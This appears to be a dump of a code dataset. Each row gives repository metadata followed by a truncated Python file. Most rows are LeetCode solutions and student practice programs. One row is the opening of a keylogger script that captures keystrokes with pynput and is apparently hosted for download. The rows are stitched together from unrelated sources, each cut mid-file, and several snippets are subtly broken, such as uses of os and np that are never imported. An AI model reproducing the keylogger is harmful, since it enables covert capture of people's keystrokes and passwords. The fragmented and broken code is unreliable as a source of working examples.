# The expression string contains only non-negative integers, +, -, *, /
# operators and empty spaces . The integer division should truncate
# toward zero.
# Example 1:
# Input: "3+2*2"
# Output: 7
# Example 2... |
970c414f42391359dc08e7a3fde38192508db87d | DmitryVlaznev/leetcode | /966-vowel-spellchecker.py | 5,208 | 4.25 | 4 | # 966. Vowel Spellchecker
# Medium
# Given a wordlist, we want to implement a spellchecker that converts a
# query word into a correct word.
# For a given query word, the spell checker handles two categories of
# spelling mistakes:
# Capitalization: If the query matches a word in the wordlist
# (case-insensitive), ... |
a2dbfb74dd5276751d2cb274eb7af4172fe2401b | DmitryVlaznev/leetcode | /532-k-diff-pairs-in-an-array.py | 2,083 | 3.796875 | 4 | # K-diff Pairs in an Array
# Given an array of integers nums and an integer k, return the number of
# unique k-diff pairs in the array.
# A k-diff pair is an integer pair (nums[i], nums[j]), where the
# following are true:
# 0 <= i, j < nums.length
# i != j
# a <= b
# b - a == k
# Example 1:
# Input: nums = [3,1,4,... |
6ad55eb0f4b036b0c33b0f00dc24de6cd29714cb | DmitryVlaznev/leetcode | /116-populating-next-right-pointers-in-each-node.py | 2,141 | 4.125 | 4 | # 116. Populating Next Right Pointers in Each Node
# You are given a perfect binary tree where all leaves are on the same
# level, and every parent has two children. The binary tree has the
# following definition:
# struct Node {
# int val;
# Node *left;
# Node *right;
# Node *next;
# }
# Populate each next ... |
e4f730d10a30032bce93d1b61c55e741cde27889 | DmitryVlaznev/leetcode | /1704-determine-if-string-halves-are-alike.py | 1,730 | 4.15625 | 4 | # 1704. Determine if String Halves Are Alike
# Easy
# You are given a string s of even length. Split this string into two
# halves of equal lengths, and let a be the first half and b be the
# second half.
# Two strings are alike if they have the same number of vowels ('a',
# 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', '... |
02b89fbe65aaab700a58c06de94cd3f8f992fe9b | DmitryVlaznev/leetcode | /662-maximum-width-of-binary-tree.py | 3,357 | 4.1875 | 4 | # 662. Maximum Width of Binary Tree
# Given a binary tree, write a function to get the maximum width of the
# given tree. The width of a tree is the maximum width among all levels.
# The binary tree has the same structure as a full binary tree, but some
# nodes are null.
# The width of one level is defined as the len... |
e80061e7f4ca2df2840e0b22b54be024c6a6159d | DmitryVlaznev/leetcode | /1339-maximum-product-of-splitted-binary-tree.py | 1,885 | 3.75 | 4 | # 1339. Maximum Product of Splitted Binary Tree
# Medium
# Given the root of a binary tree, split the binary tree into two
# subtrees by removing one edge such that the product of the sums of the
# subtrees is maximized.
# Return the maximum product of the sums of the two subtrees. Since the
# answer may be too larg... |
6629cc601122b1efc15e93aedc996eec98d8554f | Alex-Toucan/atproducts.xyz | /media/files/keylogger.py | 1,063 | 3.53125 | 4 | from pynput import keyboard
import os
keys_pressed = []
class quit_exception(Exception):
pass
def on_press(key):
global keys_pressed
if key == keyboard.Key.shift:
return
elif key == keyboard.Key.esc:
raise quit_exception()
else:
keys_pressed.append(str(key).re... |
2b49125b6e92b1e7775fefd748bed8f0734f87f9 | Alex-Toucan/atproducts.xyz | /media/files/passwordgenerator.py | 504 | 3.546875 | 4 | import string, random, hashlib
while True:
characters = list(string.ascii_letters + string.digits)
length = int(input("length: "))
password = []
for i in range(length):
password.append(random.choice(characters))
salt = hashlib.sha256(os.urandom(60)).hexdigest().encode('ascii')
... |
c63dfd7c4e993f45df24037c3ed6801746417d97 | iamsiva11/MLfromScratch | /NeuralNetworks/Perceptron-1layer-v2.py | 991 | 3.765625 | 4 | import numpy as numpy
import random
def generate_data(no_of_points):
"""
no_of_points - No of training points to generate
"""
X = np.zeros(shape = (no_of_points, 2 ))
Y = np.zeros(shape = no_of_points)
np.random.seed(1)
for ii in range(no_of_points):
X[ii][0] = random.randint(1,9) + 0.5
X[ii][1] = random.... |
d633ed0fa76e6225a4cd30dad6373beeaa58022d | Shivi127/CheckMyStocks | /Stocks/stocks.py | 1,652 | 3.59375 | 4 | # 1) Write a program that scrapes the stocks from google
# 2) Stores/Updates to the db
# 3) From which I can make paginantion and a front end for it
# 4) I would like to maybe write a cron job or maybe use airflow for this
# 5) Later I will try to incoperate a Queue Later on??
# How do I get started?
# Lets start ... |
98f19b21c68886a518f9db1a9ba1ff2d10a2a3b0 | Anjali4rl/Tathstu-PWDF-ABESEC | /string,function,dictionary/no_of_upper&lower_caseletters.py | 347 | 3.9375 | 4 | def find(str):
words=str.split(" ")
words="".join(words)
upp=0
low=0
for i in words:
if i.isupper():
upp+=1
elif i.islower():
low+=1
print("No of upper case letters are :",upp)
print("No of lower case letters are :",low)
str=input("Ente... |
3b1d9f50e688e503183268da43d61cad86dc20ff | ncaldwell17/pythonNotes | /tkinter/tkinterNotes_Widgets.py | 560 | 3.890625 | 4 | from tkinter import *
root = Tk()
# Label new params:
"""
1st = where
2nd = what text
3rd = bg= <- lit. 'background' what color
4th = fg= <- lit. 'foreground' what text color
"""
# .pack() new params:
"""
1st = location
2nd = fill= <- fills the screen based on the root window's dimensions
""... |
b180c838d5b236eeccbe78875ae2ad6d1dc489ee | ashmauro/cp1404practicals | /prac_03/scores.py | 789 | 3.859375 | 4 | """
CP1404/CP5632 - Practical
Broken program to determine score status - extension
"""
from random import randint
MENU = """How many grades? """
def main():
"""Obtain the amount of grades the user wants."""
print(MENU)
number_of_grades = int(input(">>> "))
scores = []
for i in range(number_of_gr... |
339a5ab23ee0c047c532f87a4ef0199f9618245d | ashmauro/cp1404practicals | /prac_08/taxi_simulator.py | 2,302 | 3.875 | 4 | """
CP1404/CP5632 Practical
Taxi Simulator
"""
from prac_08.taxi import Taxi
from prac_08.silver_service_taxi import SilverServiceTaxi
MENU = """q)uit, c)hoose taxi, d)rive"""
def main():
"""Code for taxi simulator."""
current_taxi = None
print(MENU)
taxis = [Taxi("Prius", 100), SilverServiceTaxi("Li... |
ef45f3e2bff4202407fe083a24324f9c728c99e2 | ashmauro/cp1404practicals | /prac_07/convert_miles_km.py | 1,258 | 3.53125 | 4 | """
CP1404 Practical 07
Miles to Kilmeters converter Kivy GUI program
Ashley Mauro
Started 21/09/2021
"""
from kivy.app import App
from kivy.lang import Builder
from kivy.properties import StringProperty
CONVERSION_FACTOR = 1.60934
class ConvertMilesApp(App):
"""ConvertMilesApp is a kivy app that converts miles... |
df4f0186b587f974b873dde1e9502448f832e0a1 | dhouse1UNCC/ITSC3155_FALL2020_DHOUSE1 | /3155Activities/flask_app/flask02.py | 1,438 | 3.921875 | 4 | # FLASK Tutorial 1 -- We show the bare bones code to get an app up and running
# imports
from flask import Flask # Flask is the web app that we will customize
from flask import render_template
app = Flask(__name__) # create an app
# @app.route is a decorator. It gives the function "index" special powers.
# In t... |
9e0bd15c3f7a2e572618ffc85fdffde3d8579b0a | MicheSi/cs-bw-unit2 | /balanced_brackets.py | 2,142 | 4.125 | 4 | '''
Write function that take string as input. String can contain {}, [], (), ||
Function return boolean indicating whether or not string is balance
'''
table = { ')': '(', ']':'[', '}':'{' }
for _ in range(int(input())):
stack = []
for x in input():
if stack and table.get(x) == stack[-1]:
... |
c317269d86f21534edc00ce2e66e14e2e3b790bd | MicheSi/cs-bw-unit2 | /search_insert_position.py | 1,016 | 4.125 | 4 | '''
Given a sorted array and a target value, return the index if the target is found. If not, return the index where it would be if it were inserted in order.
You may assume no duplicates in the array.
Example 1:
Input: [1,3,5,6], 5
Output: 2
Example 2:
Input: [1,3,5,6], 2
Output: 1
Example 3:
Input: [1,3,5,6], 7
... |
403b0d95af0e3b964084d22d9ac8f085675206bc | MicheSi/cs-bw-unit2 | /ice_cream.py | 537 | 3.828125 | 4 | import math
import os
import random
import re
import sys
# Complete the whatFlavors function below.
def whatFlavors(cost, money):
prices = {}
for i, p in enumerate(cost, 1):
n = money - p
if n in prices:
print(prices[n], i)
else:
prices[p] = i
if _... |
a7b73a388ec5f007793048cabb07ceb39544dcd4 | jeffreyrainy/advent2018 | /day2.py | 757 | 3.515625 | 4 | import queue
import math
import numpy as np
def main():
file = open("inputs/input2.txt")
twos = 0
threes = 0
for line in file:
line = line.strip()
line = [x for x in line]
line.sort()
line.append('.')
running = 1
two = False
three = False
... |
7c12c4378b3cae511c2e07a762f607d25baa8ff7 | akimi-yano/algorithm-practice | /lc/review_82.RemoveDuplicatesFromSortedList.py | 1,423 | 3.8125 | 4 | # 82. Remove Duplicates from Sorted List II
# Medium
# 4910
# 152
# Add to List
# Share
# Given the head of a sorted linked list, delete all nodes that have duplicate numbers, leaving only distinct numbers from the original list. Return the linked list sorted as well.
# Example 1:
# Input: head = [1,2,3,3,4,4... |
7396c1acffbf551735651bea88b882eaa8e1fab7 | akimi-yano/algorithm-practice | /lc/1103.DistributeCandiesToPeople.py | 3,872 | 3.890625 | 4 | # 1103. Distribute Candies to People
# We distribute some number of candies, to a row of n = num_people people in the following way:
# We then give 1 candy to the first person, 2 candies to the second person, and so on until we give n candies to the last person.
# Then, we go back to the start of the row, giving n +... |
88cf81dc127010d9bec8fd09d916a1ddeee26a8e | akimi-yano/algorithm-practice | /tutoring/mockClassmates/officehour_mock2.py | 819 | 4.28125 | 4 | # Valid Palindrome Removal
# Return true if the input is a palindrome, or can be a palindrome with no more than one character deletion.
# Zero characters can be added.
# Return false if the input is not a palindrome and removing any one character from it would not make it a palindrome.
# Must be done in constant space... |
162759cefcbd8505fe93106d383f9ffdf0483628 | akimi-yano/algorithm-practice | /lc/906.SuperPalindromes.py | 1,702 | 3.734375 | 4 | # 906. Super Palindromes
# Hard
# 223
# 316
# Add to List
# Share
# Let's say a positive integer is a super-palindrome if it is a palindrome, and it is also the square of a palindrome.
# Given two positive integers left and right represented as strings, return the number of super-palindromes integers in the inclus... |
40863622e6fc1e43aa0bd9c7dcd00be69853da73 | akimi-yano/algorithm-practice | /lc/980.Unique PathsIII.py | 2,771 | 3.71875 | 4 | # 980. Unique Paths III
# Hard
# 1988
# 111
# Add to List
# Share
# You are given an m x n integer array grid where grid[i][j] could be:
# 1 representing the starting square. There is exactly one starting square.
# 2 representing the ending square. There is exactly one ending square.
# 0 representing empty squares... |
acafd40b32f5f66a22b2e4bae4326be3f661cc32 | akimi-yano/algorithm-practice | /lc/456.132Pattern.py | 2,128 | 3.734375 | 4 | # 456. 132 Pattern
# Medium
# 1827
# 115
# Add to List
# Share
# Given an array of n integers nums, a 132 pattern is a subsequence of three integers nums[i], nums[j] and nums[k] such that i < j < k and nums[i] < nums[k] < nums[j].
# Return true if there is a 132 pattern in nums, otherwise, return false.
# Follow ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.